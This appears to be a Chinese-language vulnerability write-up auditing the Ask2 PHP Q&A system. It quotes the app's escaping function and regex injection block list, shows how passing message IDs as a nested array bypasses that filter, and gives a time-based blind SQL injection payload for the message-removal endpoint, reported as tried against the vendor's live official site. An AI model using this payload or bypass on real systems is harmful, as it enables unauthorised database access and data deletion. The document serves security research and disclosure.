0x00 代码审计
全局防注入机制,在/model/sowenda.class.php中第32行:
$querystring = isset ( $_SERVER [ 'QUERY_STRING' ]) ? $_SERVER [ 'QUERY_STRING' ] : '' ; $pos = strrpos ( $querystring , '.' ); if ( $pos !== false ) { $querystring = substr ( $querystring , 0 , $pos ); } /* 处理简短url */ $pos = strpos ( $querystring , '-' ); $pos2 = strpos ( $querystring , '=' ); ( $pos !== false ) & amp ;& amp ; $querystring = urlmap ( $querystring ); ( $pos2 !== false ) & amp ;& amp ; $querystring = urlmap ( $querystring ); $andpos = strpos ( $querystring , "&" ); $andpos & amp ;& amp ; $querystring = substr ( $querystring , 0 , $andpos ); $this -& gt ; get = explode ( '/' , $querystring ); if ( empty ( $this -& gt ; get [ 0 ])) { $this -& gt ; get [ 0 ] = 'index' ; } if ( empty ( $this -& gt ; get [ 1 ])) { $this -& gt ; get [ 1 ] = 'default' ; } if ( count ( $this -& gt ; get ) & lt ; 2 ) { exit ( ' Access Denied !' ); } unset ( $GLOBALS , $_ENV , $HTTP_GET_VARS , $HTTP_POST_VARS , $HTTP_COOKIE_VARS , $HTTP_SERVER_VARS , $HTTP_ENV_VARS ); $this -& gt ; get = taddslashes ( $this -& gt ; get , 1 ); $this -& gt ; post = taddslashes ( array_merge ( $_GET , $_POST )); checkattack ( $this -& gt ; post , 'post' ); checkattack ( $this -& gt ; get , 'get' ); unset ( $_POST );
可以看到这里对$_GET和$_POST都用taddslashes()做了处理,我们跟踪一下这个函数: 在/lib/global.func.php中第324行:
function taddslashes ( $string , $force = 0 ) { if (! MAGIC_QUOTES_GPC || $force ) { if ( is_array ( $string )) { foreach ( $string as $key =& gt ; $val ) { $string [ $key ] = taddslashes ( $val , $force ); } } else { $string = addslashes ( $string ); } } return $string ; }
可以看到这是一个转义函数,也就是说进行了一个全局的转义,最麻烦的不是这个,而是下一个函数:
checkattack ( $this -& gt ; post , 'post' ); checkattack ( $this -& gt ; get , 'get' );
将$_GET和$_POST带入到了checkattack()这个函数中,我们追踪一下这个函数,在/lib/global.func.php中第339行:
function checkattack ( $reqarr , $reqtype = 'post' ) { $filtertable = array ( 'get' =& gt ; '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' , 'post' =& gt ; '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' , 'cookie' =& gt ; '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ); foreach ( $reqarr as $reqkey =& gt ; $reqvalue ) { if ( preg_match ( "/" . $filtertable [ $reqtype ] . "/is" , $reqvalue ) == 1 & amp ;& amp ; ! in_array ( $reqkey , array ( 'content' ))) { print ( 'Illegal operation!' ); exit (- 1 ); } } }
可以看到这是一个防注入函数,这就很恼火了。不过这注入漏洞 我们可以绕过它。
看一下漏洞触发点:
在/ control / message . php 中第 84 行: function onremove () { if ( isset ( $this -& gt ; post [ 'submit' ])) { $inbox = $this -& gt ; post [ 'messageid' ][ 'inbox' ]; $outbox = $this -& gt ; post [ 'messageid' ][ 'outbox' ]; if ( $inbox ) $_ENV [ 'message' ]-& gt ; remove ( "inbox" , $inbox ); if ( $outbox ) $_ENV [ 'message' ]-& gt ; remove ( "outbox" , $outbox ); $this -& gt ; message ( "消息删除成功!" , get_url_source ()); } }
可以看到这里的有两个变量是我们可控的,$inbox和$outbox。 我们可以将这两个变量带入到了remove()函数中,我们跟踪一下remove函数: 在/model/message.class.php中第91行:
function remove ( $type , $msgids ) { $messageid = ( $msgids & amp ;& amp ; is_array ( $msgids )) ? implode ( "," , $msgids ) : $msgids ; if ( 'inbox' == $type ) { $this -& gt ; db -& gt ; query ( "DELETE FROM " . DB_TABLEPRE . "message WHERE fromuid=0 AND `id` IN ($messageid)" ); $this -& gt ; db -& gt ; query ( "DELETE FROM " . DB_TABLEPRE . "message WHERE status = 1 AND `id` IN ($messageid)" ); $this -& gt ; db -& gt ; query ( "UPDATE " . DB_TABLEPRE . "message SET status=2 WHERE status=0 AND `id` IN ($messageid)" ); } else { $this -& gt ; db -& gt ; query ( "DELETE FROM " . DB_TABLEPRE . "message WHERE status = 2 AND `id` IN ($messageid)" ); $this -& gt ; db -& gt ; query ( "UPDATE " . DB_TABLEPRE . "message SET status=1 WHERE status=0 AND `id` IN ($messageid)" ); } }
可以看到直接将我们可控的变量带入到了sql语句中,周围只有括号进行包裹,并没有引号进行包裹,所以说全局转义我们可以绕过了,那么那个防注入函数怎么绕过呢。 我们仔细看一下那个防注入函数,可以看到只是对字符串进行了检测,但是如果我们传入的是个数组呢?那个防注入函数并没有进行是数组的检测。 那么我们仔细看一下我们可控的这两个变量:
$inbox = $this -& gt ; post [ 'messageid' ][ 'inbox' ]; $outbox = $this -& gt ; post [ 'messageid' ][ 'outbox' ];
可以看到是一个数组中的值,而防注入并没有对数组进行检测,所以我们可以绕过防注入函数。
0x01 漏洞复现
漏洞利用方式:
我们直接去官网进行测试:
http://www.ask2.cn/
先在官网注册登录一个账号,然后访问如下payload:
http : //www.ask2.cn/message/remove.html POST : submit = 2 & amp ; messageid [ inbox ]=- 1 , if ( 1 = 1 , sleep ( 1 ), 0 )
成功延迟: